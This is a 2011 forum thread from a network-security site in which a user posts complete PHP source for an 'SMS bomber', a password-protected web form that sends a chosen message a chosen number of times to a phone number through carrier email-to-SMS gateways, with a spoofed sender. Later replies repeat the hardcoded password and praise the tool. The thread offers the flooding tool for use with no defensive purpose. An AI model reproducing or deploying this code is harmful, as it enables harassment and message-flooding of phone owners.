Government Security
Network Security Resources

Jump to content

Photo

Php Sms Bomber

- - - - - server php tools mobile
  • Please log in to reply
3 replies to this topic

#1 piekiller

piekiller

    Private

  • Members
  • 8 posts

Posted 23 March 2011 - 01:54 PM

I found it in a old folder on my desktop




<?php
    	
session_start();

//Stores Accessor's IP
$v_USER_IP = $_SERVER[ 'REMOTE_ADDR' ];

//Stores Data
$v_DATE = date( 'l jS \of F Y h:i:s A' );

//Open
$v_LOG_FILE = fopen( "BombLog.txt", a );

//Password
$v_PASSWORD = "peace on earth";

echo'<html>
	<body bgcolor="black" text="white">
	<table align="center" cellspacing="5">

	<tr>
    	<td colspan=2 align="center"> <font size="6"><strong>.::: Peace Bomber :::.</strong></font> <br /><font color="#FF0000">by <br /> The Creator </font></td>
	</tr>';

if(( $_POST['pass_submit'] && $_POST['pass'] == $v_PASSWORD ) || $_SESSION['loggedin'] == 1 )
{
	$_SESSION['loggedin'] = 1;

	echo'<form action="bomber.php" method="post" name="submit">
        	<tr>
            	<td align="right">Carrier: </td>
            	<td>
    	<select name="carrier">
    	<option value="tmobile">T-Mobile</option>
    	<option value="virginmobile">Virgin Mobile</option>
    	<option value="cingular">ATT</option>
    	<option value="sprint">Sprint</option>
    	<option value="verizon">Verizon</option>
    	<option value="nextel">Nextel</option>
    	<option value="metropcs">Metro PCS</option>
    	<option value="boost">Boost</option>
    	</select>
            	</td>
        	</tr>

        	<tr>
            	<td align="right">Number: </td>
            	<td><input type="text" name="number" /></td>
        	</tr>

        	<tr>
            	<td align="right">Subject: </td>
            	<td><input type="text" name="sub" /></td>
        	</tr>

        	<tr>
            	<td align="right">Message: </td>
            	<td><input type="text" name="body" /></td>
        	</tr>

        	<tr>
            	<td align="right">Count: </td>
            	<td><input type="text" name="count" /></td>
        	</tr>

        	<tr>
            	<td colspan=2 align="center"><input type="submit" name="submit" value="BOMB IT" /></td>
        	</tr>
    	</form>';

	fwrite( $v_LOG_FILE, $v_USER_IP." ACCESSED THIS TOOL ON [ ".$v_DATE." ]"."\n" );

	if( $_POST['submit'] )
	{
    	$v_NUMBER 	= $_POST['number'];
    	$v_FROM 		= "666-666-1337"; // Doesn't Work //$_POST['from'];
    	$v_COUNT 		= $_POST['count'];
    	$v_SUBJECT 	= $_POST['sub'];
    	$v_BODY 		= $_POST['body'];
    	$v_CARRIER 	= $_POST['carrier'];

    	if( $v_CARRIER == "tmobile" )
        	$v_CARRIER = $v_NUMBER."@tmomail.net";
    	else if( $v_CARRIER == "virginmobile" )
     			$v_CARRIER = $v_NUMBER."@vmobl.com";
    	else if( $v_CARRIER == "cingular" )
     			$v_CARRIER = $v_NUMBER."@cingularme.com";
    	else if( $v_CARRIER == "sprint" )
     			$v_CARRIER = $v_NUMBER."@messaging.sprintpcs.com";
    	else if( $v_CARRIER == "verizon" )
     			$v_CARRIER = $v_NUMBER."@vtext.com";
    	else if( $v_CARRIER == "nextel" )
     			$v_CARRIER = $v_NUMBER."@nextel.com";
    	else if( $v_CARRIER == "metropcs" )
     			$v_CARRIER = $v_NUMBER."@mymetropcs.com";
    	else if( $v_CARRIER == "boost" )
     			$v_CARRIER = $v_NUMBER."@myboostmobile.com";
    	else
        	die( "Invalid Selection." );

    	for( $i = 0; $i < $v_COUNT; $i++ )
    	{
        	mail( $v_CARRIER, $v_SUBJECT, $v_BODY, $v_FROM );
    	}

    	fwrite( $v_LOG_FILE, $v_USER_IP." Bombed [ ".$v_NUMBER." ] On [ ".$v_DATE." ] [ ".$v_COUNT." ] Times\n" );

    	echo '<center><font size="6">';
    	echo "Bomed ".$v_NUMBER." ".$v_COUNT." times!";
    	echo '</font></center>';
	}
}
else
{
	if( $_POST['pass_submit'] )
	{
    	if( $_POST['pass'] != "" )
    	{
        	echo'<tr><td colspan=2 align="center"> <font size="6" color="#FF0000" ><strong>INVALID PASS!</strong></font></td></tr>';

        	fwrite( $v_LOG_FILE, $v_USER_IP." FAILED LOGIN ON [ ".$v_DATE." ]\n" );
    	}
    	else if( $_POST['pass'] == "" )
    	{
        	echo'<tr><td colspan=2 align="center"> <font size="6" color="#FF0000" ><strong>ENTER A PASS!</strong></font></td></tr>';
    	}
	}

	echo'<form action="bomber.php" method="post" name="pass_submit">
    	<tr>
        	<td align="right">Pass: </td>
        	<td><input type="text" name="pass" /></td>
    	</tr>

    	<tr>
        	<td colspan=2 align="center"><input type="submit" name="pass_submit" value="Login" /></td>
    	</tr>
    	</form>';
}

echo'</table>
 	</body>
 	</html>';
?>


#2 17bela

17bela

    Private

  • Members
  • 1 posts

Posted 10 December 2011 - 09:19 AM

ehmmmm password?

#3 webdevil

webdevil

    Retired GSO General

  • Sergeant Major
  • 1,195 posts

Posted 11 December 2011 - 06:04 PM

$v_PASSWORD = "peace on earth";

#4 gov

gov

    Private

  • Members
  • 2 posts

Posted 21 February 2012 - 06:45 PM

Nice find, I don't see very many SMS bombers written in PHP.





Also tagged with one or more of these keywords: server, php, tools, mobile